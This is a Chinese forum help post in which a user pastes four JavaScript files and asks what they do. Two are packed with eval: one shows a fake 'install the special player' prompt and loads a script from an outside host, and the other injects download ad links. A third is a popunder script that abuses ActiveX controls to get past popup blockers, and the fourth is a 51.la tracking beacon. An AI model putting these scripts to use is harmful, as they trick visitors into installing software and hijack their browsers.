[问题求助] 这四个js是什么意思

111

1.js

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('a 4=0;a g="||";a 6="||";b();l b(){8.1.3="5";c.1.3="5";d.1.3="5";e.1.3="5";4=4+2;6=6+g;9.f.p.h=6;9.f.n.h=4+"%";m(4<o){8.1.3="7";e.1.3="7";k("b()",j)}A{B.y(\'z，E，D，C！\');8.1.3="5";c.1.3="7";d.1.3="7";}};9.t(\'<i s="r://q.u.x/w.v"></i>\');',41,41,'|style||display|bar|none|amount|block|isLoading|document|var|count|isAlert|isMsg|isBuffer|loading|line|value|script|40|setTimeout|function|if|percent|99|chart||http|src|write|minquan|js|tj|info|alert|对不起|else|window|请下载安装后观看|您还没有安装专用播放器|系统检测到'.split('|'),0,{}))
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2.js

var etereferer= escape(document.referrer); 

var eBtxName = 'x8' ;
var mm = 'place';
var width_yite_the_test = screen.width;
var height_yite_the_test = screen.height;
var ete_fp_domain = 'u193035.778669.com';
var style_yite_the_test = "toolbar=yes, menubar=yes, scrollbars=yes, resizable=yes,location=yes, status=yes,";
;;(function(){var d=navigator.userAgent;var x=window;var y=document;var r=setInterval;var k=clearInterval;var j=setTimeout;var c,e,f,g,h,l;var v=null;var b=function(w){var s=w+"=";var r="";var o=0;var d=0;var p=y.cookie;if(y.cookie.length>0){o=y.cookie.indexOf(s);if(o!=-1){o+=s.length;d=y.cookie.indexOf(";",o);if(d==-1)d=y.cookie.length;r=unescape(y.cookie.substring(o,d))}}return r};var p=function(w,p){var t=0.5;try{t=parseFloat(p)*1}catch(e){t=0.5}if(isNaN(t))t=0.5;var then=new Date();then.setTime(then.getTime()+t*60*60*1000);y.cookie=w+'=1;expires='+then.toGMTString()+';path=/;'};var a={};a.ver={ie:/MSIE/.test(d)&&!x.opera,ie6:!/MSIE 7\.0/.test(d)&&/MSIE 6\.0/.test(d)&&!/MSIE 8\.0/.test(d),tt:/TencentTraveler/.test(d),op:/Opera/.test(d),gg:/Chrome/.test(d),sf:/Safari/.test(d),_v1:'<object id="_yt_pp_obj1" width="0" height="0" classid="CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6"></object>',_v2:'<object id="_yt_pp_obj2" style="position:absolute;left:1px;top:1px;width:1px;height:1px;" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"></object>'};if(a.ver.ie){y.write(a.ver._v1);y.write(a.ver._v2)}a.fca=null;a.fcb=null;a.tim=0;a.isfi=false;a.isop=false;a.ke=function(){return true};a.sp=function(){try{if(typeof y.body.onclick=="function"){a.fca=y.body.onclick;y.body.onclick=null}if(typeof y.onclick=="function"){if(y.onclick.toString().indexOf('a.op')<0){a.fcb=y.onclick}}y.onclick=function(){a.op();if(a.ver.gg||a.ver.tt){a.cl()}}}catch(q){}};a.cl=function(){k(a.tim);y.onclick=null;if(typeof a.fcb=="function"){if(a.fcb.indexOf('a.op')<0){try{y.onclick=a.fcb}catch(q){}}}if(typeof a.fca=="function"){try{y.body.onclick=a.fca}catch(q){}}};a.op=function(){var r=false;var b=l;b+="width="+e+",";b+="height="+f+",";b+="top="+h+",";b+="left="+g;var o='x.open("'+c+'", "_blank", "'+b+'")';var m=null;try{m=eval(o)}catch(q){}if(m&&!a.ver.gg){m.blur();x.focus();a.cl()}else{y.getElementById("_yt_pp_obj1");y.getElementById("_yt_pp_obj2");if(a.ver.ie&&!a.ver.ie6){try{y.getElementById("_yt_pp_obj1").launchURL(c);a.cl()}catch(q){}try{var tt=y.getElementById("_yt_pp_obj2").DOM.Script.open(c,"_blank",b);tt.blur();x.focus();a.cl()}catch(q){}}else if(a.ver.ie6){j(function(){try{var tt=y.getElementById("_yt_pp_obj2").DOM.Script.open(c,"_blank",b);j(function(){tt.blur();x.focus()},50);a.cl()}catch(q){}},200)}}return r};a.fstart=function(m,s,p,b,q,w){c=m;e=s;f=p;g=b;h=q;l=w;x.onerror=a.ke;a.tim=r(a.sp,10);a.op()};x.__ytppo=a;__ytppo.fstart(gotourl,screen.width,screen.height,(screen.width-width_yite_the_test)/2,screen.height-height_yite_the_test,style_yite_the_test);})();
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3.js

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('n l=M.4;o(l.x("y")>0){n r=p.v(p.w()*6);o(r=="3"){z.C(\'D\').A=\'<1><2 m="#B">s</2><1><a 4="7://q.f.8.d.e/9/?c=i&h=g" k="j"><2 m="#u" t="5"><b>P</b></2></a><1><1><a 4="7://q.f.8.d.e/9/?c=i&h=g" k="j"><N S="7://R.Q.8/G/O=E&K=L&I=J.F" H=0></a>\'}}',55,55,'|br|font||href|||http|com|iclk|||zoneid|zdy|cc|sina|1471|uid|15624|_blank|target|localurl|color|var|if|Math|www|sj|长时间不能播放|size|ff6600|floor|random|indexOf|szlimai|document|innerHTML|c1c1c1|getElementById|down|rHRdPHnkPjn|gif|media|border|time|nHndn1cYnj01ns|gp|401|location|img|id|点此处下载|baidu|drmcmm|src'.split('|'),0,{}))
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4.js

document.write ('<a href="http://www.51.la/?15380331" target="_blank" title="&#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;专业、免费、强健的访问统计">网站统计</a>\n');
var a0331tf="51la";var a0331pu="";var a0331pf="51la";var a0331su=window.location;var a0331sf=document.referrer;var a0331of="";var a0331op="";var a0331ops=1;var a0331ot=1;var a0331d=new Date();var a0331color="";if (navigator.appName=="Netscape"){a0331color=screen.pixelDepth;} else {a0331color=screen.colorDepth;}
try{a0331tf=top.document.referrer;}catch(e){}
try{a0331pu =window.parent.location;}catch(e){}
try{a0331pf=window.parent.document.referrer;}catch(e){}
try{a0331ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a0331ops=(a0331ops==null)?1: (parseInt(unescape((a0331ops)[2]))+1);var a0331oe =new Date();a0331oe.setTime(a0331oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a0331ops+ ";path=/;expires="+a0331oe.toGMTString();a0331ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a0331ot==null){a0331ot=1;}else{a0331ot=parseInt(unescape((a0331ot)[2])); a0331ot=(a0331ops==1)?(a0331ot+1):(a0331ot);}a0331oe.setTime(a0331oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a0331ot+";path=/;expires="+a0331oe.toGMTString();}catch(e){}
try{if(document.cookie==""){a0331ops=-1;a0331ot=-1;}}catch(e){}
a0331of=a0331sf;if(a0331pf!=="51la"){a0331of=a0331pf;}if(a0331tf!=="51la"){a0331of=a0331tf;}a0331op=a0331pu;try{lainframe}catch(e){a0331op=a0331su;}document.write('<img style="width:0px;height:0px" src="http://web2.51.la:82/go2.asp?svid=15&id=15380331&tpages='+a0331ops+'&ttimes='+a0331ot+'&tzone='+(0-a0331d.getTimezoneOffset()/60)+'&tcolor='+a0331color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a0331of)+'&vpage='+escape(a0331op)+'" />');
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